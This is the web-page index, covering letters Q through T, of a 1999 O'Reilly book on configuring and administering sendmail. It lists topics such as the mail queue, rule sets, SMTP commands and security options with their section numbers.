-q database switch : 33.3.4.9. -q don't strip quotes from key (V8.7 and above)
q flag : 30.8. Alphabetized F= Flags
Q line (qf file) : 23.9. The qf File Internals
$q macro : 31.10. Alphabetized Reference
q option : (see QueueFactor (q) option)
Q option : (see QueueDirectory (Q) option)
-q switch
4.1.1. Daemon Mode (-bd)
15.5. Prevent the Daemon from Running
23.6.1. Periodically with -q
23.6.2. From the Command Line
36.7. Alphabetized Reference
-qI, -qS, -qR switches : 23.6.2.3. Process by identifier/recipient/sender: -q[ISR]
Q-ID : (see queue identifier)
qf files
3.1.2. The Queue Directory
23.2.5. The Queue Control File: qf
23.9. The qf File Internals
bogus (Qf file) : 23.3. A Bogus qf File (V8 only): Qf
version of : 23.9. The qf File Internals
qualifying addresses
16.5. Qualify All Addresses?
D.3. K Command's -d switch
FQDNs : (see FQDNs)
queue
1.3.2. The Queue
23. The Queue
checkpointing : 34.8. Alphabetized Reference
and down sites : 23.7.1. Handling a Down Site
message life : 13.2.2. Limit the Life of Queued Messages
message parts : 23.2. Parts of a Queued Message
printing
4.1.2. Show Queue Mode (-bp)
23.2.3.2. Locks shown when printing the queue
23.4. Printing the Queue
36.7. Alphabetized Reference
processing
23.5. How the Queue Is Processed
36.7. Alphabetized Reference
last time of : 23.9. The qf File Internals
putting everything in : 34.8. Alphabetized Reference
requeuing on error : 25.7.6. Force Requeue on Error
sendmail options for : 34.6.2. The Queue
sorting : 34.8. Alphabetized Reference
time message placed in : 23.9. The qf File Internals
troubleshooting : 23.8. Pitfalls
why message is stored in : 23.9. The qf File Internals
queue directory
3.1.2. The Queue Directory
13.2.1. The Location of the Queue Directory
15.2. The Real Queue Directory
34.8. Alphabetized Reference
alternate : 23.7. Process Alternate Queues
forging mail with
13.2.1. The Location of the Queue Directory
22.7.1. Forging with the Queue Directory
installing sendmail and : 18.7. Pitfalls
permissions for : 23.1. Overview of the Queue
queue file : 34.8. Alphabetized Reference
identifier for ($i macro) : 14.2.3. The Message-ID: Header
processing : 34.8. Alphabetized Reference
queue identifier
4.2. Verbose (-v)
23.2.1. The Queue Identifier
23.4. Printing the Queue
QUEUE macro : 18.8. Alphabetized Reference
QueueDirectory (Q) option
3.1.2. The Queue Directory
5.3.7. Options
13.2.1. The Location of the Queue Directory
15.2. The Real Queue Directory
23.1. Overview of the Queue
34.8. Alphabetized Reference
QueueFactor (q) option : 34.8. Alphabetized Reference
QueueLA (x) option
23.6.1. Periodically with -q
34.8. Alphabetized Reference
queuereturn keyword
13.2.2. Limit the Life of Queued Messages
23.9. The qf File Internals
QUEUESEGSIZE macro : 18.8. Alphabetized Reference
QUEUESIZE variable : 23.5. How the Queue Is Processed
QueueSortOrder option : 34.8. Alphabetized Reference
QueueTimeout (T) option
23.9. The qf File Internals
34.8. Alphabetized Reference
36.7. Alphabetized Reference
queuewarn keyword : 13.2.2. Limit the Life of Queued Messages
QUIT keyword : 4.2. Verbose (-v)
quotation marks
13.2.8. The Unquoted Space Replacement Character
19.1.1. m4 is greedy
31.3.2. Syntax of the Configuration File Macro's Text
34.8. Alphabetized Reference
dequote database class : 33.8. Alphabetized Reference
in header fields : 35.3.3. Quoted Strings in the Header Field
stripping
30.8. Alphabetized F= Flags
33.3.4.9. -q don't strip quotes from key (V8.7 and above)
quoted-printable encoding
18.8. Alphabetized Reference
30.8. Alphabetized F= Flags

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: R

R configuration command
5.3.3. Rules
8.4. Rules
27.2. Comments
28.1. Overview
29.1.5. Rule Sets and Lists of Rules
r flag
30.7. Pitfalls
30.8. Alphabetized F= Flags
R flag : 30.8. Alphabetized F= Flags
R in configuration file : 1.3.1. The Configuration File
R line (host status file) : B.1. Status file lines
R line (qf file)
23.4.1. Printing the Queue in Verbose Mode
23.9. The qf File Internals
$r macro
23.9. The qf File Internals
26.1.3.8. proto= the protocol used in transmission
31.10. Alphabetized Reference
36.7. Alphabetized Reference
$R macro : 31.10. Alphabetized Reference
R option
D.5. The > Option
(see DontPruneRoutes command)
r option : (see Timeout (r) option)
-r switch : 30.8. Alphabetized F= Flags
-r switch (sendmail) : 36.7. Alphabetized Reference
-r switch (makemap) : 33.2.1.5. -r replace (silently) duplicate keys
-R switch : 36.7. Alphabetized Reference
R= equate
6.3. The local Delivery Agent
6.3.1. Skipping Rule Sets
29.6.2. Selecting S= and R=
30.4. The Equates
rc files : 15.5. Prevent the Daemon from Running
RCPT command (SMTP)
23.9. The qf File Internals
29.10.2. The check_rcpt Rule Set
36.7. Alphabetized Reference
read permission : (see permissions)
READ_ME file : 2.2. Read the Documents
RealHostAddr variable : 20.1.2. Global Variables
RealHostName variable : 20.1.2. Global Variables
rebuild aliases mode : 4.1.3. Rebuild Aliases Mode (-bi)
rebuilding : (see building)
"Received:" header line
1.5. The Header
13.4. Sending Mail
14.1.2. The Received: Header
20.2.5. Prune Received: Headers at Firewall
35.10. Alphabetized Reference
forged mail and : 22.7.2. Forging with SMTP
recipient list buffer size : 18.8. Alphabetized Reference
RecipientFactor (y) option : 34.8. Alphabetized Reference
recipients
6.3. The local Delivery Agent
(see also R= equate; $u macro)
adding domain to address : 30.8. Alphabetized F= Flags
address of
6.3. The local Delivery Agent
23.9. The qf File Internals
29.10.4. The check_compat Rule Set
31.10. Alphabetized Reference
check_rcpt rule set : 29.10.2. The check_rcpt Rule Set
delivery agent as : 30.8. Alphabetized F= Flags
filtering with shell script : 24.6.2. Filtering Recipients with a Shell Script
getting from header : 36.7. Alphabetized Reference
headers for : 35.6.3. Recipient Headers
home directory of : 31.10. Alphabetized Reference
large lists of : 34.8. Alphabetized Reference
logging
26.1.3.6. nrcpts= the number of recipients
26.1.3.12. to= show final recipient
missing
34.8. Alphabetized Reference
35.10. Alphabetized Reference
multiple : 30.8. Alphabetized F= Flags
processing list of
36.3. List of Recipient Addresses
36.4.5. Fifth: Collect Recipients
selecting MTA for : (see rule set 0)
username of : (see $u macro)
whitespace in lists of : 34.8. Alphabetized Reference
recnews program : 25.5.2. Gateway Lists to News
recommended headers : 35.6.1. Recommended Headers
recursion : 21.3.3. MX Records Are Nonrecursive
recursive macro expansion : 31.5.1. Macro Expansion Is Recursive
redirect feature : 19.6. Alphabetized m4 Macros
redirecting messages : (see aliasing)
"Reference:" header line : 35.10. Alphabetized Reference
RefuseLA (X) option : 34.8. Alphabetized Reference
rejecting mail messages
18.8. Alphabetized Reference
20.2.6. Reject Mail from Spamming or Mail-bombing Sites
relay= equate (syslog output) : 26.1.3.9. relay= the host that sent or accepted the message
relays : 19.4.5. Relays
smart hosts : 19.6. Alphabetized m4 Macros
RELEASE_NOTES file : 2.2. Read the Documents
remote host's name : 21.2.2. Look Up a Remote Host's Name
replacement character for space : 13.2.8. The Unquoted Space Replacement Character
reply feature : 10.1. Why Preprocess?
"Reply-To:" header line
25.5.1. Reply Versus Bounce
35.10. Alphabetized Reference
RES_DNSRCH : 21.2.4. The $[ and $] Operators
res_search()
18.8. Alphabetized Reference
21.2.3. Look Up Addresses for Delivery
"Recent-" header lines : 35.7. Forwarding with Resent-Headers
reserved TCP port : 30.8. Alphabetized F= Flags
resolver library : 18.5.1. Use libresolv.a
ResolverOptions (I) option
21.2.4. The $[ and $] Operators
34.8. Alphabetized Reference
resource unavailable error : 36.5.9. EX_UNAVAILABLE A Resource
resources, sendmail
Additional Sources of Information
2.2. Read the Documents
restart signal : 26.3.2. SIGHUP Restart
restarting sendmail daemon : 4.1.1.1. Kill and restart, beginning with V8.7
retired accounts : 19.6. Alphabetized m4 Macros
retry time : 34.8. Alphabetized Reference
RetryFactor (Z) option
23.9. The qf File Internals
34.8. Alphabetized Reference
return interval : 13.2.2. Limit the Life of Queued Messages
"Return-Path:" header line
30.8. Alphabetized F= Flags
35.10. Alphabetized Reference
"Return-Receipt-To:" header line
18.8. Alphabetized Reference
35.10. Alphabetized Reference
"rewrite" prompt : (see address-testing mode)
rewriting
addresses
8.3. Rule Sets
11.4.1. Rewrite the Lone Username
rule set for recipient : (see R= equate)
rule set for sender : (see S= equate)
User Database : 30.8. Alphabetized F= Flags
RFCs (Requests for Comments) : The RFCs
RFC1123 : The RFCs
RFC1413 : 31.10. Alphabetized Reference
RFC1521 and RFC1522 : The RFCs
RFC1651 to RFC1653 : The RFCs
RFC1891 to RFC1894 : The RFCs
RFC819 : The RFCs
RFC821
The RFCs
30.8. Alphabetized F= Flags
RFC822
The RFCs
28.1.2. Rules Are Treated Like Addresses
32.5. Alphabetized Reference
35.2. Header Names
35.6.6. Other RFC822 Headers
RFC822 and RFC1123 : 14.1. Headers
RFC974 : 21.3.7. Ambiguous MX Records
RFC976 : The RFCs
RHS, rule
8.4. Rules
28.6. The RHS
(see also rule sets)
class macros in : 12.1.4. Class Macros in the RHS
RHS triple : 9.2. The RHS Triple
root user
Other Books, Other Problems
14.6. Trusted User
22.1. Why root?
options that don't run on : 34.1.4. Options that Are Safe
SUID_ROOT_FILES_OK macro : 18.8. Alphabetized Reference
route addressing
17.1.5. The % Hack
21.5.1. Offsite MX Hosts
29.4.3. Handling Routing Addresses
d flag and : 30.8. Alphabetized F= Flags
pruning : 34.8. Alphabetized Reference
rule sets
5.3.4. Rule Sets
6.3.1. Skipping Rule Sets
8.3. Rule Sets
29. Rule Sets
check_ : 29.10. The check_... Rule Sets
check_mail rule set : 20.2.6. Reject Mail from Spamming or Mail-bombing Sites
debug_dumpstate : 26.3.3.3. -- ruleset debug_dumpstate returns stat ..., pv: --
Hubset
11.2. Rule Set S=
11.4. Rule Set Hubset
m4 keywords for : 19.4.3. Rules and rule sets
m4 preprocessor and : 29.2. Rule Sets and m4
recipient-rewriting : (see R= equate)
rule set 0
9. Rule Set 0
17.3. Rule Set 0
19.6. Alphabetized m4 Macros
29.6. Rule Set 0
mailertables : 19.6. Alphabetized m4 Macros
rule set 1
11.7. Rule Set 1
19.6. Alphabetized m4 Macros
29.9. Rule Set 1
rule set 2
19.6. Alphabetized m4 Macros
29.8. Rule Set 2
rule set 3
10. Rule Set 3
17.1. Rule Set 3
19.6. Alphabetized m4 Macros
29.4. Rule Set 3
38.6.3. Rule 3 Always Called First with -bt
rule set 4
17.4. Rule Set 4
29.5. Rule Set 4
rule set 5
19.6. Alphabetized m4 Macros
29.7. Rule Set 5
30.8. Alphabetized F= Flags
rule set 96 : 17.2. Rule Set 96
S= and : (see S= equate)
sender-rewriting : (see S= equate)
rule-testing mode
36.7. Alphabetized Reference
38. Rule-Set Testing with -bt
debugging and : 38.7. Add Debugging for Detail
rules
8.2. Why Rules?
28. Rules
(see also rule sets)
for address transformation : 5.3.3. Rules
LHS and RHS syntax
8.4. Rules
28.4. The Behavior of a Rule
m4 keywords for : 19.4.3. Rules and rule sets
mail hub : 17. The Hub's Complex Rules
processing flow of
10.5. Details of Rule Flow
29.3. The Sequence of Rule Sets
relays : 19.4.5. Relays
rewriting using other rule sets : 28.6.4. Rewrite Through Another Rule Set: $>set
showing by rule set : 38.4.1. Show Rules in a Rule Set with =S
wildcards operators in : 8.7. Wildcard Operators
RunAsUser option : 34.8. Alphabetized Reference

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: S

s class : 32.5. Alphabetized Reference
=S command (rule-testing mode) : 8.5. The Workspace
S configuration command
5.3.4. Rule Sets
8.3. Rule Sets
27.2. Comments
29.1. The S Configuration Command
-s database switch : 33.3.4.10. -s space replacement character (V8.7 and above)
s flag : 30.8. Alphabetized F= Flags
S flag : 30.8. Alphabetized F= Flags
S line (host status file) : B.1. Status file lines
S line (qf file)
23.4. Printing the Queue
23.9. The qf File Internals
$s macro
23.9. The qf File Internals
31.10. Alphabetized Reference
36.7. Alphabetized Reference
$S macro : 31.10. Alphabetized Reference
s option : (see SuperSafe (s) option)
S option : (see StatusFile (S) option)
S rule-testing command : 38.4.1. Show Rules in a Rule Set with =S
-s switch : 36.7. Alphabetized Reference
S= equate
6.3. The local Delivery Agent
6.3.1. Skipping Rule Sets
11.2. Rule Set S=
29.6.2. Selecting S= and R=
30.4. The Equates
SafeFileEnvironment option
22.8.3.6. The SafeFileEnvironment option
24.2.2. Delivery to Files
34.8. Alphabetized Reference
SaveFromLine (f) option
34.8. Alphabetized Reference
36.7. Alphabetized Reference
saving
aliases in symbol table
24.5.4. No DBM Aliasing
33.8. Alphabetized Reference
bounced messages in qf file : 23.3.6. Savemail Panic
scanf command : 32.1.2.1. scanf(3) variations
SCANF macro : 18.8. Alphabetized Reference
security
18.2. Vendor Versus Compiling
22. Security
bogus qf files
23.3. A Bogus qf File (V8 only): Qf
23.9. The qf File Internals
C line (qf file) : 23.9. The qf File Internals
check_relay rule set : 29.10.3. The check_relay Rule Set
default user identities : 13.2.5. The Default User Identities
environment variables and
5.3.12. Environment variables
22.2. The Environment
-f switch and
14.6. Trusted User
22.8.1. Trusted Users
file permissions : 13.2.4. The Default File Permissions
files and : (see appending to files)
firewalls : (see firewalls)
forged mail
13.2.1. The Location of the Queue Directory
22.7. Forged Mail
:include: lists : 25.2.2. Tradeoffs
IP_SRCROUTE macro : 18.8. Alphabetized Reference
preventing workstation as gateway : 20.2.2. Workstation Refuses to Act as a Mail Gateway
queuing everything : 34.8. Alphabetized Reference
rejecting mail from certain sites : 20.2.6. Reject Mail from Spamming or Mail-bombing Sites
RunAsUser option : 34.8. Alphabetized Reference
safe sendmail options : 34.1.4. Options that Are Safe
sendmail restricted shell : 19.6. Alphabetized m4 Macros
sendmail.cf and : 22.4. The Configuration File
SUID_ROOT_FILES_OK macro : 18.8. Alphabetized Reference
trusted users : 19.6. Alphabetized m4 Macros
selecting delivery agents : (see rule set 0)
semiprivileged users : 22.5. Permissions
sender
29.6.2. Selecting S= and R=
(see also S= equate)
address of : (see sender's address)
check_mail rule set : 29.10.1. The check_mail Rule Set
of envelope, logging : 26.1.3.3. from= show envelope sender
full name for
36.7. Alphabetized Reference
(see $x macro)
headers for : 35.6.2. Sender Headers
running sendmail as : 36.7. Alphabetized Reference
unknown : 35.10. Alphabetized Reference
"Sender:" header line : 35.10. Alphabetized Reference
sender's address
6.3. The local Delivery Agent
11.1. Flow of the Sender's Address
23.4. Printing the Queue
23.9. The qf File Internals
31.10. Alphabetized Reference
36.7. Alphabetized Reference
(see also $f macro; $g macro; rule set 1)
default format of : 31.10. Alphabetized Reference
genericstable feature : 19.6. Alphabetized m4 Macros
hostname part : (see $s macro)
rewriting : 11.4.1. Rewrite the Lone Username
testing with check_compat : 29.10.4. The check_compat Rule Set
sending messages
13.4. Sending Mail
14.5. Sending Real Mail
sendmail
configuration macros : 18.8. Alphabetized Reference
(dis)advantages to : 18.1. To Use or Not to Use
exit values : 36.5. sendmail's exit() Status
future of : The Future
history of
History
27.5. The V Configuration Command
installing and configuring
2.1. Get the Source
18.6. Install sendmail
location of : 36.1. Alternative argv[0] Names
m4 diversions, reserved : 19.1.4. m4 diversions
obtaining source code
2.1. Get the Source
18.3. Obtain the Source
pid for : (see $p macro)
readying for DNS : 21.1.2. Make sendmail DNS Aware
required options : 13.2. Required Options
restricted shell : 19.6. Alphabetized m4 Macros
running manually : 1.4. Run sendmail by Hand
starting operating mode : 31.10. Alphabetized Reference
Sun Microsystem's enhancements to : D. Sun Enhancements
version of : (see version)
"savemail panic" message : 23.3.6. Savemail Panic
sendmail.cf configuration file
1.3.1. The Configuration File
3.1. Role in the Filesystem
5. The sendmail.cf File
22.4. The Configuration File
27. The Configuration File
36.4.4. Fourth: Read the Configuration File
commands : 5.1. Overview
defining macros in : 31.3. Configuration File Definitions
freezing : 36.7. Alphabetized Reference
inappropriate options for : 34.1.3. Appropriateness of Options
installing : 15.6. Install the client.cf File
location of : 36.7. Alphabetized Reference
pathname for : 18.8. Alphabetized Reference
rule-testing mode and : 38.2. Configuration Lines
testing : 15.1. Test the Configuration File
troubleshooting : 27.6. Pitfalls
sendmail.ct file : 19.6. Alphabetized m4 Macros
sendmail.cw file : 19.6. Alphabetized m4 Macros
sendmail.pid file, pathname for : 18.8. Alphabetized Reference
sendmail.st file : 26.2.1. The sendmail.st File
sendmailvars file : D.4. L and G Configuration Commands
"sendmailvars:" header line : D.4. L and G Configuration Commands
SendMimeErrors (j) option : 34.8. Alphabetized Reference
sequence database class : 33.8. Alphabetized Reference
servers
caching servers : 21.1. Overview
local : 19.6. Alphabetized m4 Macros
name servers : 21.1. Overview
offsite : 21.5.2. Offsite Servers
ServiceSwitchFile option
21.2.3. Look Up Addresses for Delivery
24.1.1. The aliases(5) file's location
34.8. Alphabetized Reference
seteuid, setreuid routines : 22.1.1. Test seteuid and setreuid
SevenBitInput (7) option : 34.8. Alphabetized Reference
severity level, warning
26.1.1. syslog(3)
26.1.2. Tuning syslog.conf
shells file : (see /etc/shells file)
show queue mode : 4.1.2. Show Queue Mode (-bp)
showq command (SMTP) : 22.3.1. SMTP debug
signals : 26.3. Signaling the Daemon
Simple Mail Transfer Protocol : (see SMTP)
single quotation marks (` and ') : 19.1.1. m4 is greedy
single-character options : (see options, sendmail)
SingleLineFromHeader option
18.8. Alphabetized Reference
34.8. Alphabetized Reference
SingleThreadDelivery option
34.1.3. Appropriateness of Options
34.8. Alphabetized Reference
SITE macro (m4) : 19.6. Alphabetized m4 Macros
SITECONFIG macro (m4) : 19.4.6. UUCP
size
determining free disk space : 18.8. Alphabetized Reference
df file : 23.4. Printing the Queue
guest messages : 20.2.3. Limit the Size of Guest Messages
messages
26.1.3.10. size= the size of the message
30.4. The Equates
34.8. Alphabetized Reference
prescan buffer : 18.8. Alphabetized Reference
queue : 18.8. Alphabetized Reference
setting maxima : 18.8. Alphabetized Reference
syslog buffers : 18.8. Alphabetized Reference
SIZE keyword (ESMTP) : 34.8. Alphabetized Reference
size= equate (syslog output) : 26.1.3.10. size= the size of the message
slocal program : 25.7.5.3. The slocal program
Smail3.x : 18.1. To Use or Not to Use
smart hosts
19.6. Alphabetized m4 Macros
29.6.4. Forwarding to a Knowledgeable Host
31.10. Alphabetized Reference
SMART_HOST macro (m4)
19.6. Alphabetized m4 Macros
31.10. Alphabetized Reference
smrsh feature : 19.6. Alphabetized m4 Macros
smrsh program : 22.8.2. The smrsh Program
SMTP (Simple Mail Transfer Protocol)
4.2. Verbose (-v)
18.8. Alphabetized Reference
EHLO command
4.2. Verbose (-v)
34.8. Alphabetized Reference
ETRN command : 23.6.2.4. Process the queue via ESMTP ETRN
EXPN command
22.3.2. SMTP vrfy and expn
22.8.3.5. The PrivacyOptions option
Extended : (see ESMTP)
forging mail with : 22.7.2. Forging with SMTP
greeting message : 31.10. Alphabetized Reference
HELO command
18.8. Alphabetized Reference
30.8. Alphabetized F= Flags
34.8. Alphabetized Reference
incoming connection rate : 34.8. Alphabetized Reference
MAIL command
29.10.1. The check_mail Rule Set
34.8. Alphabetized Reference
multiple connections : 34.8. Alphabetized Reference
multiple timeouts : 34.8. Alphabetized Reference
RCPT command
23.9. The qf File Internals
29.10.2. The check_rcpt Rule Set
36.7. Alphabetized Reference
refusing on high load : 34.8. Alphabetized Reference
running on stdin : 36.7. Alphabetized Reference
SMTP probes : 22.3. SMTP Probes
status codes : B.1. Status file lines
VRFY command
22.3.2. SMTP vrfy and expn
22.8.3.5. The PrivacyOptions option
30.8. Alphabetized F= Flags
smtpd daemon : 36.1.5. smtpd
SMTPDEBUG macro
18.8. Alphabetized Reference
22.3.1. SMTP debug
SmtpGreetingMessage option
31.10. Alphabetized Reference
34.8. Alphabetized Reference
SMTPLINELIM macro : 18.8. Alphabetized Reference
SOA records : 15.3. MX Records
software error : 36.5.7. EX_SOFTWARE An Internal Software Error
Solaris
18.8. Alphabetized Reference
D. Sun Enhancements
sorting by priority : (see priority, message)
sorting queue : 34.8. Alphabetized Reference
source code
db library package : C.2. Get the Source
obtaining : 18.3. Obtain the Source
source code, obtaining : 2.1. Get the Source
source-routing, IP : 18.8. Alphabetized Reference
space : (see whitespace)
spams : 20.2.6. Reject Mail from Spamming or Mail-bombing Sites
special
aliases : 24.4. Special Aliases
characters
31.3.2. Syntax of the Configuration File Macro's Text
35.3. Header Field Contents
35.3.4.1. Balancing special characters
operators : (see wildcard operators)
rule sets : (see rule sets)
special-delivery precedence : 14.4. Precedence
SPT_TYPE macro : 18.8. Alphabetized Reference
src directory : 2.3. What's What in src
stab database class : 33.8. Alphabetized Reference
Start of Authority : (see SOA records)
startup operating mode : 31.10. Alphabetized Reference
stat= equate (syslog output) : 26.1.3.11. stat= status of delivery
statistics : 26.2. Statistics
cron program and : 26.2.3. Using cron for Daily and Weekly Statistics
specifying file for : 34.8. Alphabetized Reference
StatusFile option and : 22.4.5. The S Option and the Statistics File
syslog utility and : 26.1.4. Gathering Statistics from syslog
status
host status file : B.1. Status file lines
SMTP codes for : B.1. Status file lines
UNIX exit values : B.1. Status file lines
"Status:" header line : B.1. Status file lines
StatusFile (S) option
22.4.5. The S Option and the Statistics File
26.2.1. The sendmail.st File
34.8. Alphabetized Reference
stdin, running SMTP on : 36.7. Alphabetized Reference
STDIR= directive : 18.4.8. STDIR=
stickyhost feature : 19.6. Alphabetized m4 Macros
string-type arguments : 34.5. Option Argument Types
strings command : 33.1. Enable at Compile Time
stripping
character high bit : 30.8. Alphabetized F= Flags
comments from headers : 30.8. Alphabetized F= Flags
newlines from "From:" headers : 34.8. Alphabetized Reference
quotation marks
30.8. Alphabetized F= Flags
33.3.4.9. -q don't strip quotes from key (V8.7 and above)
stuck locks : 23.2.3.3. Locks can get stuck
subdomain name
7.3.1. The hostname
12.1.7. Adding the Domain
(see also $m macro)
"Subject:" header line
1.6. The Body
35.10. Alphabetized Reference
subroutines, rules as : 28.6.4. Rewrite Through Another Rule Set: $>set
success data, DSN delivery : 30.5.2.1. The $@ dsn part
suid root : (see root user)
SUID_ROOT_FILES_OK macro : 18.8. Alphabetized Reference
Sun vendor specification : 27.5.1. The vendor
Sun's enhancements to sendmail : D. Sun Enhancements
SuperSafe (s) option
23.6.1. Periodically with -q
34.8. Alphabetized Reference
suppressing header lines : 20.3. Alphabetized V8.8 Subroutines
suspicious characters
22.8.2. The smrsh Program
23.3.4. Unknown Control Character in qf File
svc.conf file : 7.3.1. The hostname
switch database class : 33.8. Alphabetized Reference
switched services : 34.8. Alphabetized Reference
switches, command-line
18.2. Vendor Versus Compiling
36.2. Command-Line Switches
36.4.3. Third: Process Switches
ignoring illegal : 36.7. Alphabetized Reference
for makemap program : 33.2.1. makemap Command-Line Switches
symbol table : 12.1.3. Class Macros in the LHS
symbolic name, delivery agent : 30.2. The Symbolic Name
sys_errlist : 18.5.3. Badly defined sys_errlist
SYS_TYPE macro : 18.8. Alphabetized Reference
sysexits.h file
36.5. sendmail's exit() Status
B.1. Status file lines
syslog utility : (see logging)
syslog.conf file : 26.1.2. Tuning syslog.conf
SYSLOG_BUFSIZE macro : 18.8. Alphabetized Reference
system : (see operating system)
identity of : 31.7.1. Macros and the System Identity
OSTYPE declaration
16.2.2. OSTYPE
19.3.1. OSTYPE()
system administration
breaking forward loops : 25.7.2. Forwarding Loops
logging : (see logging)
statistics : 26.1.4. Gathering Statistics from syslog
SYSTEM5 macro : 18.8. Alphabetized Reference

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: T

t class
14.6. Trusted User
32.5. Alphabetized Reference
T configuration command
5.3.10. Trusted Users
14.6. Trusted User
22.8.1. Trusted Users
T line (qf file) : 23.9. The qf File Internals
$t macro
14.2.3. The Message-ID: Header
31.10. Alphabetized Reference
t option : (see TimeZoneSpec (t) option)
T option : (see QueueTimeout (T) option)
-t switch : 36.7. Alphabetized Reference
-T switch : 36.7. Alphabetized Reference
T= equate
6.3. The local Delivery Agent
6.4. Add the Missing Parts to Mhub
30.4. The Equates
tabs : (see whitespace)
targets, syslog.conf : 26.1.2. Tuning syslog.conf
TCP (Transmission Control Protocol) : History
TCP/IP
Other Books, Other Problems
3.3.1. TCP/IP
using reserved port : 30.8. Alphabetized F= Flags
wrapper package (TCPWRAPPER) : 22.4.1. Accept/Reject Connections via libwrap.a
TCPWRAPPERS macro : 18.8. Alphabetized Reference
telephone lines, messages via : 3.3.3. Other Protocols
TempFileMode (F) option
13.2.4. The Default File Permissions
22.8.3.7. The TempFileMode option
34.8. Alphabetized Reference
temporary customizations : 19.6. Alphabetized m4 Macros
temporary errors : 36.5.8. EX_TEMPFAIL A Recoverable Error
terminal, name of controlling : 31.10. Alphabetized Reference
testing
address-testing mode : 8.3. Rule Sets
addresses : 29.10.4. The check_compat Rule Set
aliases
4.1.4. Verify Mode (-bv)
24.5.2. Check the Right Side of Aliases
delivery agents
6.3.3. Testing the New Delivery Agent Definitions
38.5.6. Try a Delivery Agent with /try
group permissions : 34.8. Alphabetized Reference
identd information : 20.2.4. Verify identd Information
if host is local : 17.2.1. Is the Host Local?
macros : (see macro conditionals)
options : 13.3. Testing the Options
rule-testing mode
36.7. Alphabetized Reference
38. Rule-Set Testing with -bt
sendmail installation : 2.6. Test It
sendmail.cf file : 15.1. Test the Configuration File
seteuid and setreuid routines : 22.1.1. Test seteuid and setreuid
users with SMTP commands : 22.3.2. SMTP vrfy and expn
text database class : 33.8. Alphabetized Reference
"Text:" header line : 35.10. Alphabetized Reference
tf file : 23.2.6. The Temporary qf Rewrite Image: tf
time and date
13.2.2. Limit the Life of Queued Messages
(see also intervals)
collecting statistics regularly : 26.2.3. Using cron for Daily and Weekly Statistics
current : (see $b macro; $d macro; $t macro)
headers for : 35.6.5. Date and Trace Headers
integer representation ($t macro) : 14.2.3. The Message-ID: Header
last processing of queue : 23.9. The qf File Internals
macros and : 31.7.2. Macros and the Date
message origin date : (see $a macro)
most recent connection : B.1. Status file lines
of placing message in queue : 23.9. The qf File Internals
Q-Time : 23.4. Printing the Queue
setting time zone : 34.8. Alphabetized Reference
time expressions : 34.5. Option Argument Types
total time to deliver : 26.1.3.2. delay= total time to deliver
transaction delay : 26.1.3.13. xdelay= transaction
time arguments : 13.2.2. Limit the Life of Queued Messages
time to live (TTL)
15.3. MX Records
21.5.2. Offsite Servers
Timeout (r) option
13.2.2. Limit the Life of Queued Messages
34.8. Alphabetized Reference
Timeout.ident option : 18.8. Alphabetized Reference
Timeout.queuereturn option : 23.9. The qf File Internals
timeouts : 34.8. Alphabetized Reference
multiple SMTP : 34.8. Alphabetized Reference
queue : 34.8. Alphabetized Reference
TimeZoneSpec (t) option : 34.8. Alphabetized Reference
"To:" header line : 35.10. Alphabetized Reference
to= equate (syslog output) : 26.1.3.12. to= show final recipient
TOBUFSIZE macro : 18.8. Alphabetized Reference
tokenization
8.5. The Workspace
12.1.3. Class Macros in the LHS
28.2. Tokenizing Rules
of header field contents : 35.3. Header Field Contents
quotation marks and : 13.2.8. The Unquoted Space Replacement Character
workspace buffer
8.5. The Workspace
28.3. The Workspace
tokens, separation operators for
31.10. Alphabetized Reference
34.8. Alphabetized Reference
"too many named rulesets" error : 29.1.2. Rule-Set Names
top-level domains : 8.1. A Fictional Network
trace headers : 35.6.5. Date and Trace Headers
traffic : (see performance)
trailing dot : 15.3. MX Records
stripping
17.4. Rule Set 4
29.5.1. Stripping Trailing Dots
transformational operators : (see $ operators)
Transmission Control Protocol : (see TCP)
transmission protocol : 26.1.3.8. proto= the protocol used in transmission
triple, RHS : 9.2. The RHS Triple
troubleshooting
aliases : 24.7. Pitfalls
class macros : 32.4. Pitfalls
command line : 36.6. Pitfalls
delivery agent execution : 30.7. Pitfalls
delivery to programs : 24.2.3.1. Possible failures
disasters : 21.5. Prepare for Disaster
DNS : 21.6. Pitfalls
handling down sites : 23.7.1. Handling a Down Site
headers : 35.9. Pitfalls
mailing lists : 25.5. Problems with Mailing Lists
queue : 23.8. Pitfalls
sendmail options for : 34.6.6. Problem Solving
sendmail.cf file : 27.6. Pitfalls
TRUST_POPEN macro : 18.8. Alphabetized Reference
trusted users
5.3.10. Trusted Users
14.6. Trusted User
19.6. Alphabetized m4 Macros
22.8.1. Trusted Users
32.5. Alphabetized Reference
(see also T configuration command)
/try rule-testing command : 38.5.6. Try a Delivery Agent with /try
/tryflags rule-testing command : 38.5.4. Select Whom to /parse or /try with /tryflags
TryNullMXList (w) option
21.3.7. Ambiguous MX Records
34.8. Alphabetized Reference
TTL (time to live)
15.3. MX Records
21.5.2. Offsite Servers
tty device : 18.8. Alphabetized Reference
TTYNAME macro : 18.8. Alphabetized Reference
tuning
delivery agent : 30.3.1. Tuning Without an Appropriate Keyword
DNS lookups : 34.8. Alphabetized Reference
sendmail
18.2. Vendor Versus Compiling
18.3.3. What to Tune
18.4. Tuning Makefile
syslog.conf : 26.1.2. Tuning syslog.conf
types
delivery agent
6.3. The local Delivery Agent
6.4. Add the Missing Parts to Mhub
message body : 23.9. The qf File Internals
nslookup : 21.4. How to Use nslookup
queue files : 23.2. Parts of a Queued Message

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

